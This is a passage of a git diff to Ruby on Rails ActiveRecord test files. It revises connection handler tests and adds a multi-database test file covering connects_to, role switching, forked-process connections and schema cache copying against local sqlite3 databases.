+          "common" => { "adapter" => "sqlite3", "database" => "test/db/common.sqlite3" }
+        }
+        @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+        @handler.establish_connection(:common)
+        @handler.establish_connection(:primary)
+        @handler.establish_connection(:readonly)
+
+        assert_not_nil pool = @handler.retrieve_connection_pool("readonly")
+        assert_equal "test/db/readonly.sqlite3", pool.db_config.database
+
+        assert_not_nil pool = @handler.retrieve_connection_pool("primary")
+        assert_equal "test/db/primary.sqlite3", pool.db_config.database
+
+        assert_not_nil pool = @handler.retrieve_connection_pool("common")
+        assert_equal "test/db/common.sqlite3", pool.db_config.database
+      ensure
+        ActiveRecord::Base.configurations = @prev_configs
+        ENV["RAILS_ENV"] = previous_env
       end
 
-      def test_establish_connection_uses_spec_name
-        config = { "readonly" => { "adapter" => "sqlite3" } }
-        resolver = ConnectionAdapters::ConnectionSpecification::Resolver.new(config)
-        spec =   resolver.spec(:readonly)
-        @handler.establish_connection(spec.to_hash)
+      def test_validates_db_configuration_and_raises_on_invalid_adapter
+        config = {
+          "development" => { "adapter" => "ridiculous" },
+        }
+
+        @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+        assert_raises(ActiveRecord::AdapterNotFound) do
+          ActiveRecord::Base.establish_connection(:development)
+        end
+      ensure
+        ActiveRecord::Base.configurations = @prev_configs
+      end
+
+      unless in_memory_db?
+        def test_not_setting_writing_role_while_using_another_named_role_raises
+          connection_handler = ActiveRecord::Base.connection_handler
+          ActiveRecord::Base.connection_handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
+
+          ActiveRecord::Base.connects_to(shards: { default: { also_writing: :arunit }, one: { also_writing: :arunit } })
+
+          assert_raises(ArgumentError) { setup_shared_connection_pool }
+        ensure
+          ActiveRecord::Base.connection_handler = connection_handler
+        end
+
+        def test_fixtures_dont_raise_if_theres_no_writing_pool_config
+          connection_handler = ActiveRecord::Base.connection_handler
+          ActiveRecord::Base.connection_handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
+
+          assert_nothing_raised do
+            ActiveRecord::Base.connects_to(database: { reading: :arunit, writing: :arunit })
+          end
+
+          rw_conn = ActiveRecord::Base.connection_handler.retrieve_connection("ActiveRecord::Base", role: :writing)
+          ro_conn = ActiveRecord::Base.connection_handler.retrieve_connection("ActiveRecord::Base", role: :reading)
+
+          assert_equal rw_conn, ro_conn
+        ensure
+          ActiveRecord::Base.connection_handler = connection_handler
+        end
+
+        def test_setting_writing_role_while_using_another_named_role_does_not_raise
+          connection_handler = ActiveRecord::Base.connection_handler
+          ActiveRecord::Base.connection_handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
+          old_role, ActiveRecord.writing_role = ActiveRecord.writing_role, :also_writing
+
+          ActiveRecord::Base.connects_to(shards: { default: { also_writing: :arunit }, one: { also_writing: :arunit } })
+
+          assert_nothing_raised { setup_shared_connection_pool }
+        ensure
+          ActiveRecord.writing_role = old_role
+          ActiveRecord::Base.connection_handler = connection_handler
+        end
+
+        def test_establish_connection_with_primary_works_without_deprecation
+          old_config = ActiveRecord::Base.configurations
+          config = { "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" } }
+          ActiveRecord::Base.configurations = config
+
+          @handler.establish_connection(:primary)
 
-        assert_not_nil @handler.retrieve_connection_pool("readonly")
+          assert_not_deprecated(ActiveRecord.deprecator) do
+            @handler.retrieve_connection("primary")
+            @handler.remove_connection_pool("primary")
+          end
+        ensure
+          ActiveRecord::Base.configurations = old_config
+        end
+
+        def test_establish_connection_using_3_level_config_defaults_to_default_env_primary_db
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "primary"  => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+              "readonly" => { "adapter" => "sqlite3", "database" => "test/db/readonly.sqlite3" }
+            },
+            "another_env" => {
+              "primary"  => { "adapter" => "sqlite3", "database" => "test/db/another-primary.sqlite3" },
+              "readonly" => { "adapter" => "sqlite3", "database" => "test/db/another-readonly.sqlite3" }
+            }
+          }
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          ActiveRecord::Base.establish_connection
+
+          assert_match "test/db/primary.sqlite3", ActiveRecord::Base.lease_connection.pool.db_config.database
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ENV["RAILS_ENV"] = previous_env
+          ActiveRecord::Base.establish_connection(:arunit)
+        end
+
+        def test_establish_connection_using_2_level_config_defaults_to_default_env_primary_db
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3"
+            },
+            "another_env" => {
+              "adapter" => "sqlite3", "database" => "test/db/bad-primary.sqlite3"
+            }
+          }
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          ActiveRecord::Base.establish_connection
+
+          assert_match "test/db/primary.sqlite3", ActiveRecord::Base.lease_connection.pool.db_config.database
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ENV["RAILS_ENV"] = previous_env
+          ActiveRecord::Base.establish_connection(:arunit)
+        end
+      end
+
+      def test_establish_connection_using_two_level_configurations
+        config = { "development" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" } }
+        @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+        @handler.establish_connection(:development)
+
+        assert_not_nil pool = @handler.retrieve_connection_pool("development")
+        assert_not_predicate pool.lease_connection, :preventing_writes?
+        assert_equal "test/db/primary.sqlite3", pool.db_config.database
+      ensure
+        ActiveRecord::Base.configurations = @prev_configs
+      end
+
+      def test_establish_connection_using_top_level_key_in_two_level_config
+        config = {
+          "development" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+          "development_readonly" => { "adapter" => "sqlite3", "database" => "test/db/readonly.sqlite3" }
+        }
+        @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+        @handler.establish_connection(:development_readonly)
+
+        assert_not_nil pool = @handler.retrieve_connection_pool("development_readonly")
+        assert_not_predicate pool.lease_connection, :preventing_writes?
+        assert_equal "test/db/readonly.sqlite3", pool.db_config.database
+      ensure
+        ActiveRecord::Base.configurations = @prev_configs
+      end
+
+      def test_establish_connection_with_string_owner_name
+        config = {
+          "development" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+          "development_readonly" => { "adapter" => "sqlite3", "database" => "test/db/readonly.sqlite3" }
+        }
+        @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+        @handler.establish_connection(:development_readonly, owner_name: "custom_connection")
+
+        assert_not_nil pool = @handler.retrieve_connection_pool("custom_connection")
+        assert_not_predicate pool.lease_connection, :preventing_writes?
+        assert_equal "test/db/readonly.sqlite3", pool.db_config.database
+      ensure
+        ActiveRecord::Base.configurations = @prev_configs
+      end
+
+      def test_symbolized_configurations_assignment
+        @prev_configs = ActiveRecord::Base.configurations
+        config = {
+          development: {
+            primary: {
+              adapter: "sqlite3",
+              database: "test/storage/development.sqlite3",
+            },
+          },
+          test: {
+            primary: {
+              adapter: "sqlite3",
+              database: "test/storage/test.sqlite3",
+            },
+          },
+        }
+        ActiveRecord::Base.configurations = config
+        ActiveRecord::Base.configurations.configs_for.each do |db_config|
+          assert_instance_of ActiveRecord::DatabaseConfigurations::HashConfig, db_config
+          assert_instance_of String, db_config.env_name
+          assert_instance_of String, db_config.name
+
+          db_config.configuration_hash.keys.each do |key|
+            assert_instance_of Symbol, key
+          end
+        end
       ensure
-        @handler.remove_connection("readonly")
+        ActiveRecord::Base.configurations = @prev_configs
       end
 
       def test_retrieve_connection
-        assert @handler.retrieve_connection(@spec_name)
+        assert @handler.retrieve_connection(@connection_name)
       end
 
       def test_active_connections?
-        assert !@handler.active_connections?
-        assert @handler.retrieve_connection(@spec_name)
-        assert @handler.active_connections?
-        @handler.clear_active_connections!
-        assert !@handler.active_connections?
+        assert_not @handler.active_connections?(:all)
+        assert @handler.retrieve_connection(@connection_name)
+        assert @handler.active_connections?(:all)
+        @handler.clear_active_connections!(:all)
+        assert_not @handler.active_connections?(:all)
       end
 
       def test_retrieve_connection_pool
-        assert_not_nil @handler.retrieve_connection_pool(@spec_name)
+        assert_not_nil @handler.retrieve_connection_pool(@connection_name)
       end
 
       def test_retrieve_connection_pool_with_invalid_id
@@ -44,9 +279,66 @@ def test_connection_pools
         assert_equal([@pool], @handler.connection_pools)
       end
 
+      def test_a_class_using_custom_pool_and_switching_back_to_primary
+        klass2 = Class.new(Base) { def self.name; "klass2"; end }
+
+        assert_same klass2.lease_connection, ActiveRecord::Base.lease_connection
+
+        pool = klass2.establish_connection(ActiveRecord::Base.connection_pool.db_config.configuration_hash)
+        assert_same klass2.lease_connection, pool.lease_connection
+        assert_not_same klass2.lease_connection, ActiveRecord::Base.lease_connection
+
+        klass2.remove_connection
+
+        assert_same klass2.lease_connection, ActiveRecord::Base.lease_connection
+      end
+
+      class ApplicationRecord < ActiveRecord::Base
+        self.abstract_class = true
+      end
+
+      class MyClass < ApplicationRecord
+      end
+
+      def test_connection_specification_name_should_fallback_to_parent
+        Object.const_set :ApplicationRecord, ApplicationRecord
+
+        klassA = Class.new(Base)
+        klassB = Class.new(klassA)
+        klassC = Class.new(MyClass)
+
+        assert_equal klassB.connection_specification_name, klassA.connection_specification_name
+        assert_equal klassC.connection_specification_name, klassA.connection_specification_name
+
+        assert_equal "ActiveRecord::Base", klassA.connection_specification_name
+        assert_equal "ActiveRecord::Base", klassC.connection_specification_name
+
+        klassA.connection_specification_name = "readonly"
+        assert_equal "readonly", klassB.connection_specification_name
+
+        ActiveRecord::Base.connection_specification_name = "readonly"
+        assert_equal "readonly", klassC.connection_specification_name
+      ensure
+        ApplicationRecord.remove_connection
+        Object.send :remove_const, :ApplicationRecord
+        ActiveRecord::Base.connection_specification_name = "ActiveRecord::Base"
+      end
+
+      def test_remove_connection_should_not_remove_parent
+        klass2 = Class.new(Base) { def self.name; "klass2"; end }
+        klass2.remove_connection
+        assert_not_nil ActiveRecord::Base.lease_connection
+        assert_same klass2.lease_connection, ActiveRecord::Base.lease_connection
+      end
+
+      def test_default_handlers_are_writing_and_reading
+        assert_equal :writing, ActiveRecord.writing_role
+        assert_equal :reading, ActiveRecord.reading_role
+      end
+
       if Process.respond_to?(:fork)
         def test_connection_pool_per_pid
-          object_id = ActiveRecord::Base.connection.object_id
+          object_id = ActiveRecord::Base.lease_connection.object_id
 
           rd, wr = IO.pipe
           rd.binmode
@@ -54,7 +346,7 @@ def test_connection_pool_per_pid
 
           pid = fork {
             rd.close
-            wr.write Marshal.dump ActiveRecord::Base.connection.object_id
+            wr.write Marshal.dump ActiveRecord::Base.lease_connection.object_id
             wr.close
             exit!
           }
@@ -66,9 +358,9 @@ def test_connection_pool_per_pid
           rd.close
         end
 
-        def test_retrieve_connection_pool_copies_schema_cache_from_ancestor_pool
-          @pool.schema_cache = @pool.connection.schema_cache
-          @pool.schema_cache.add("posts")
+        def test_forked_child_doesnt_mangle_parent_connection
+          object_id = ActiveRecord::Base.lease_connection.object_id
+          assert_predicate ActiveRecord::Base.lease_connection, :active?
 
           rd, wr = IO.pipe
           rd.binmode
@@ -76,82 +368,122 @@ def test_retrieve_connection_pool_copies_schema_cache_from_ancestor_pool
 
           pid = fork {
             rd.close
-            pool = @handler.retrieve_connection_pool(@spec_name)
-            wr.write Marshal.dump pool.schema_cache.size
+            wr.write Marshal.dump [
+              ActiveRecord::Base.lease_connection.object_id,
+            ]
             wr.close
-            exit!
+
+            exit # allow finalizers to run
           }
 
           wr.close
 
           Process.waitpid pid
-          assert_equal @pool.schema_cache.size, Marshal.load(rd.read)
+          child_id = Marshal.load(rd.read)
+          assert_not_equal object_id, child_id
           rd.close
+
+          assert_equal 3, ActiveRecord::Base.lease_connection.select_value("SELECT COUNT(*) FROM people")
         end
 
-        def test_pool_from_any_process_for_uses_most_recent_spec
-          skip unless current_adapter?(:SQLite3Adapter)
+        unless in_memory_db?
+          def test_forked_child_recovers_from_disconnected_parent
+            object_id = ActiveRecord::Base.lease_connection.object_id
+            assert_predicate ActiveRecord::Base.lease_connection, :active?
 
-          file = Tempfile.new "lol.sqlite3"
+            rd, wr = IO.pipe
+            rd.binmode
+            wr.binmode
 
-          rd, wr = IO.pipe
-          rd.binmode
-          wr.binmode
+            outer_pid = fork {
+              ActiveRecord::Base.lease_connection.disconnect!
 
-          pid = fork do
-            ActiveRecord::Base.configurations["arunit"]["database"] = file.path
-            ActiveRecord::Base.establish_connection(:arunit)
+              pid = fork {
+                rd.close
+                wr.write Marshal.dump [
+                  !!ActiveRecord::Base.lease_connection.active?,
+                  ActiveRecord::Base.lease_connection.object_id,
+                  ActiveRecord::Base.lease_connection.select_value("SELECT COUNT(*) FROM people"),
+                ]
+                wr.close
 
-            pid2 = fork do
-              wr.write ActiveRecord::Base.connection_config[:database]
-              wr.close
-            end
+                exit # allow finalizers to run
+              }
 
-            Process.waitpid pid2
-          end
+              Process.waitpid pid
+            }
 
-          Process.waitpid pid
+            wr.close
 
-          wr.close
+            Process.waitpid outer_pid
+            active, child_id, child_count = Marshal.load(rd.read)
 
-          assert_equal file.path, rd.read
+            assert_equal false, active
+            assert_not_equal object_id, child_id
+            rd.close
 
-          rd.close
-        ensure
-          if file
-            file.close
-            file.unlink
+            assert_equal 3, child_count
+
+            # Outer connection is unaffected
+            assert_equal 6, ActiveRecord::Base.lease_connection.select_value("SELECT 2 * COUNT(*) FROM people")
           end
         end
 
-        def test_a_class_using_custom_pool_and_switching_back_to_primary
-          klass2 = Class.new(Base) { def self.name; "klass2"; end }
+        def test_retrieve_connection_pool_copies_schema_cache_from_ancestor_pool
+          @pool.schema_cache.add("posts")
 
-          assert_equal klass2.connection.object_id, ActiveRecord::Base.connection.object_id
+          rd, wr = IO.pipe
+          rd.binmode
+          wr.binmode
 
-          pool = klass2.establish_connection(ActiveRecord::Base.connection_pool.spec.config)
-          assert_equal klass2.connection.object_id, pool.connection.object_id
-          refute_equal klass2.connection.object_id, ActiveRecord::Base.connection.object_id
+          pid = fork {
+            rd.close
+            pool = @handler.retrieve_connection_pool(@connection_name)
+            wr.write Marshal.dump pool.schema_cache.size
+            wr.close
+            exit!
+          }
 
-          klass2.remove_connection
+          wr.close
 
-          assert_equal klass2.connection.object_id, ActiveRecord::Base.connection.object_id
+          Process.waitpid pid
+          assert_equal @pool.schema_cache.size, Marshal.load(rd.read)
+          rd.close
         end
 
-        def test_connection_specification_name_should_fallback_to_parent
-          klassA = Class.new(Base)
-          klassB = Class.new(klassA)
+        if current_adapter?(:SQLite3Adapter)
+          def test_pool_from_any_process_for_uses_most_recent_spec
+            file = Tempfile.new "lol.sqlite3"
 
-          assert_equal klassB.connection_specification_name, klassA.connection_specification_name
-          klassA.connection_specification_name = "readonly"
-          assert_equal "readonly", klassB.connection_specification_name
-        end
+            rd, wr = IO.pipe
+            rd.binmode
+            wr.binmode
+
+            pid = fork do
+              config_hash = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary").configuration_hash.merge(database: file.path)
+              ActiveRecord::Base.establish_connection(config_hash)
 
-        def test_remove_connection_should_not_remove_parent
-          klass2 = Class.new(Base) { def self.name; "klass2"; end }
-          klass2.remove_connection
-          refute_nil ActiveRecord::Base.connection.object_id
-          assert_equal klass2.connection.object_id, ActiveRecord::Base.connection.object_id
+              pid2 = fork do
+                wr.write ActiveRecord::Base.connection_db_config.database
+                wr.close
+              end
+
+              Process.waitpid pid2
+            end
+
+            Process.waitpid pid
+
+            wr.close
+
+            assert_equal file.path, rd.read
+
+            rd.close
+          ensure
+            if file
+              file.close
+              file.unlink
+            end
+          end
         end
       end
     end
diff --git a/activerecord/test/cases/connection_adapters/connection_handlers_multi_db_test.rb b/activerecord/test/cases/connection_adapters/connection_handlers_multi_db_test.rb
new file mode 100644
index 0000000000000..98c682159fdef
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/connection_handlers_multi_db_test.rb
@@ -0,0 +1,390 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/person"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class ConnectionHandlersMultiDbTest < ActiveRecord::TestCase
+      self.use_transactional_tests = false
+
+      fixtures :people
+
+      def setup
+        @handler = ConnectionHandler.new
+        @connection_name = "ActiveRecord::Base"
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+        @rw_pool = @handler.establish_connection(db_config)
+        @ro_pool = @handler.establish_connection(db_config, role: :reading)
+      end
+
+      def teardown
+        clean_up_connection_handler
+      end
+
+      class SecondaryBase < ActiveRecord::Base
+        self.abstract_class = true
+      end
+
+      class MultiConnectionTestModel < SecondaryBase
+      end
+
+      def test_multiple_connections_works_in_a_threaded_environment
+        tf_writing = Tempfile.open "test_writing"
+        tf_reading = Tempfile.open "test_reading"
+
+        # We need to use a role for reading not named reading, otherwise we'll prevent writes
+        # and won't be able to write to the second connection.
+        SecondaryBase.connects_to database: { writing: { database: tf_writing.path, adapter: "sqlite3" }, secondary: { database: tf_reading.path, adapter: "sqlite3" } }
+
+        MultiConnectionTestModel.lease_connection.execute("CREATE TABLE `multi_connection_test_models` (connection_role VARCHAR (255))")
+        MultiConnectionTestModel.lease_connection.execute("INSERT INTO multi_connection_test_models VALUES ('writing')")
+
+        ActiveRecord::Base.connected_to(role: :secondary) do
+          MultiConnectionTestModel.lease_connection.execute("CREATE TABLE `multi_connection_test_models` (connection_role VARCHAR (255))")
+          MultiConnectionTestModel.lease_connection.execute("INSERT INTO multi_connection_test_models VALUES ('reading')")
+        end
+
+        read_latch = Concurrent::CountDownLatch.new
+        write_latch = Concurrent::CountDownLatch.new
+
+        MultiConnectionTestModel.lease_connection
+
+        thread = Thread.new do
+          MultiConnectionTestModel.lease_connection
+
+          write_latch.wait
+          assert_equal "writing", MultiConnectionTestModel.lease_connection.select_value("SELECT connection_role from multi_connection_test_models")
+          read_latch.count_down
+        end
+
+        ActiveRecord::Base.connected_to(role: :secondary) do
+          write_latch.count_down
+          assert_equal "reading", MultiConnectionTestModel.lease_connection.select_value("SELECT connection_role from multi_connection_test_models")
+          read_latch.wait
+        end
+
+        thread.join
+      ensure
+        tf_reading.close
+        tf_reading.unlink
+        tf_writing.close
+        tf_writing.unlink
+      end
+
+      def test_loading_relations_with_multi_db_connections
+        # We need to use a role for reading not named reading, otherwise we'll prevent writes
+        # and won't be able to write to the second connection.
+        SecondaryBase.connects_to database: { writing: { database: ":memory:", adapter: "sqlite3" }, secondary: { database: ":memory:", adapter: "sqlite3" } }
+
+        relation = ActiveRecord::Base.connected_to(role: :secondary) do
+          MultiConnectionTestModel.lease_connection.execute("CREATE TABLE `multi_connection_test_models` (connection_role VARCHAR (255))")
+          MultiConnectionTestModel.create!(connection_role: "reading")
+          MultiConnectionTestModel.where(connection_role: "reading")
+        end
+
+        assert_equal "reading", relation.first.connection_role
+      end
+
+      unless in_memory_db?
+        def test_establish_connection_using_3_levels_config
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "readonly" => { "adapter" => "sqlite3", "database" => "test/db/readonly.sqlite3", "replica" => true },
+              "default"  => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" }
+            }
+          }
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          ActiveRecord::Base.connects_to(database: { writing: :default, reading: :readonly })
+
+          assert_not_nil pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool("ActiveRecord::Base")
+          assert_equal "test/db/primary.sqlite3", pool.db_config.database
+          assert_equal "default", pool.db_config.name
+
+          assert_not_nil pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool("ActiveRecord::Base", role: :reading)
+          assert_equal "test/db/readonly.sqlite3", pool.db_config.database
+          assert_equal "readonly", pool.db_config.name
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        def test_switching_connections_via_handler
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "readonly" => { "adapter" => "sqlite3", "database" => "test/db/readonly.sqlite3" },
+              "primary"  => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" }
+            }
+          }
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          ActiveRecord::Base.connects_to(database: { writing: :primary, reading: :readonly })
+
+          ActiveRecord::Base.connected_to(role: :reading) do
+            assert_equal :reading, ActiveRecord::Base.current_role
+            assert ActiveRecord::Base.connected_to?(role: :reading)
+            assert_not ActiveRecord::Base.connected_to?(role: :writing)
+            assert_predicate ActiveRecord::Base.lease_connection, :preventing_writes?
+          end
+
+          ActiveRecord::Base.connected_to(role: :writing) do
+            assert_equal :writing, ActiveRecord::Base.current_role
+            assert ActiveRecord::Base.connected_to?(role: :writing)
+            assert_not ActiveRecord::Base.connected_to?(role: :reading)
+            assert_not_predicate ActiveRecord::Base.lease_connection, :preventing_writes?
+          end
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        def test_establish_connection_using_3_levels_config_with_non_default_handlers
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "readonly" => { "adapter" => "sqlite3", "database" => "test/db/readonly.sqlite3" },
+              "primary"  => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" }
+            }
+          }
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          ActiveRecord::Base.connects_to(database: { default: :primary, readonly: :readonly })
+
+          assert_not_nil pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool("ActiveRecord::Base", role: :default)
+          assert_equal "test/db/primary.sqlite3", pool.db_config.database
+
+          assert_not_nil pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool("ActiveRecord::Base", role: :readonly)
+          assert_equal "test/db/readonly.sqlite3", pool.db_config.database
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        def test_switching_connections_with_database_url
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+          previous_url, ENV["DATABASE_URL"] = ENV["DATABASE_URL"], "postgres://localhost/foo"
+
+          ActiveRecord::Base.connects_to(database: { writing: "postgres://localhost/bar" })
+          assert_equal :writing, ActiveRecord::Base.current_role
+          assert ActiveRecord::Base.connected_to?(role: :writing)
+
+          handler = ActiveRecord::Base.connection_handler
+          assert_equal handler, ActiveRecord::Base.connection_handler
+
+          assert_not_nil pool = handler.retrieve_connection_pool("ActiveRecord::Base")
+          assert_equal({ adapter: "postgresql", database: "bar", host: "localhost" }, pool.db_config.configuration_hash)
+        ensure
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+          ENV["DATABASE_URL"] = previous_url
+        end
+
+        def test_switching_connections_with_database_config_hash
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+          config = { adapter: "sqlite3", database: "test/db/readonly.sqlite3" }
+
+          ActiveRecord::Base.connects_to(database: { writing: config })
+          assert_equal :writing, ActiveRecord::Base.current_role
+          assert ActiveRecord::Base.connected_to?(role: :writing)
+
+          handler = ActiveRecord::Base.connection_handler
+          assert_equal handler, ActiveRecord::Base.connection_handler
+
+          assert_not_nil pool = handler.retrieve_connection_pool("ActiveRecord::Base")
+          assert_equal(config, pool.db_config.configuration_hash)
+        ensure
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        def test_switching_connections_without_database_and_role_raises
+          error = assert_raises(ArgumentError) do
+            ActiveRecord::Base.connected_to { }
+          end
+          assert_equal "must provide a `shard` and/or `role`.", error.message
+        end
+
+        def test_switching_connections_with_database_symbol_uses_default_role
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "animals" => { adapter: "sqlite3", database: "test/db/animals.sqlite3" },
+              "primary" => { adapter: "sqlite3", database: "test/db/primary.sqlite3" }
+            }
+          }
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          ActiveRecord::Base.connects_to(database: { writing: :animals })
+          assert_equal :writing, ActiveRecord::Base.current_role
+          assert ActiveRecord::Base.connected_to?(role: :writing)
+
+          handler = ActiveRecord::Base.connection_handler
+          assert_equal handler, ActiveRecord::Base.connection_handler
+
+          assert_not_nil pool = handler.retrieve_connection_pool("ActiveRecord::Base")
+          assert_equal(config["default_env"]["animals"], pool.db_config.configuration_hash)
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        def test_switching_connections_with_database_hash_uses_passed_role_and_database
+          previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+          config = {
+            "default_env" => {
+              "animals" => { adapter: "sqlite3", database: "test/db/animals.sqlite3" },
+              "primary" => { adapter: "sqlite3", database: "test/db/primary.sqlite3" }
+            }
+          }
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          ActiveRecord::Base.connects_to(database: { writing: :primary })
+          assert_equal :writing, ActiveRecord::Base.current_role
+          assert ActiveRecord::Base.connected_to?(role: :writing)
+
+          handler = ActiveRecord::Base.connection_handler
+          assert_equal handler, ActiveRecord::Base.connection_handler
+
+          assert_not_nil pool = handler.retrieve_connection_pool("ActiveRecord::Base")
+          assert_equal(config["default_env"]["primary"], pool.db_config.configuration_hash)
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+          ENV["RAILS_ENV"] = previous_env
+        end
+
+        def test_connects_to_with_single_configuration
+          config = {
+            "development" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+          }
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          ActiveRecord::Base.connects_to database: { writing: :development }
+
+          assert_equal ActiveRecord::Base.connection_handler, ActiveRecord::Base.connection_handler
+          assert_equal :writing, ActiveRecord::Base.current_role
+          assert ActiveRecord::Base.connected_to?(role: :writing)
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+        end
+
+        def test_connects_to_using_top_level_key_in_two_level_config
+          config = {
+            "development" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+            "development_readonly" => { "adapter" => "sqlite3", "database" => "test/db/readonly.sqlite3" }
+          }
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          ActiveRecord::Base.connects_to database: { writing: :development, reading: :development_readonly }
+
+          assert_not_nil pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool("ActiveRecord::Base", role: :reading)
+          assert_equal "test/db/readonly.sqlite3", pool.db_config.database
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+        end
+
+        def test_connects_to_returns_array_of_established_connections
+          config = {
+            "development" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+            "development_readonly" => { "adapter" => "sqlite3", "database" => "test/db/readonly.sqlite3" }
+          }
+          @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+          result = ActiveRecord::Base.connects_to database: { writing: :development, reading: :development_readonly }
+
+          assert_equal(
+            [
+              ActiveRecord::Base.connection_handler.retrieve_connection_pool("ActiveRecord::Base"),
+              ActiveRecord::Base.connection_handler.retrieve_connection_pool("ActiveRecord::Base", role: :reading)
+            ],
+            result
+          )
+        ensure
+          ActiveRecord::Base.configurations = @prev_configs
+          ActiveRecord::Base.establish_connection(:arunit)
+        end
+      end
+
+      def test_connection_pool_list
+        assert_equal([@rw_pool], @handler.connection_pool_list(:writing))
+        assert_equal([@ro_pool], @handler.connection_pool_list(:reading))
+
+        assert_equal([@rw_pool, @ro_pool], @handler.connection_pool_list)
+      end
+
+      def test_retrieve_connection
+        assert @handler.retrieve_connection(@connection_name)
+        assert @handler.retrieve_connection(@connection_name, role: :reading)
+      end
+
+      def test_active_connections?
+        assert_not_predicate @handler, :active_connections?
+
+        assert @handler.retrieve_connection(@connection_name)
+        assert @handler.retrieve_connection(@connection_name, role: :reading)
+
+        assert_predicate @handler, :active_connections?
+
+        @handler.clear_active_connections!(:writing)
+
+        assert_predicate @handler, :active_connections?
+
+        @handler.clear_active_connections!(:all)
+
+        assert_not_predicate @handler, :active_connections?
+      end
+
+      def test_retrieve_connection_pool
+        assert_not_nil @handler.retrieve_connection_pool(@connection_name)
+        assert_not_nil @handler.retrieve_connection_pool(@connection_name, role: :reading)
+      end
+
+      def test_retrieve_connection_pool_with_invalid_id
+        assert_nil @handler.retrieve_connection_pool("foo")
+        assert_nil @handler.retrieve_connection_pool("foo", role: :reading)
+      end
+
+      def test_calling_connected_to_on_a_non_existent_handler_raises
+        error = assert_raises ActiveRecord::ConnectionNotDefined do
+          ActiveRecord::Base.connected_to(role: :non_existent) do
+            Person.first
+          end
+        end
+
+        assert_equal "No database connection defined for 'non_existent' role.", error.message
+      end
+
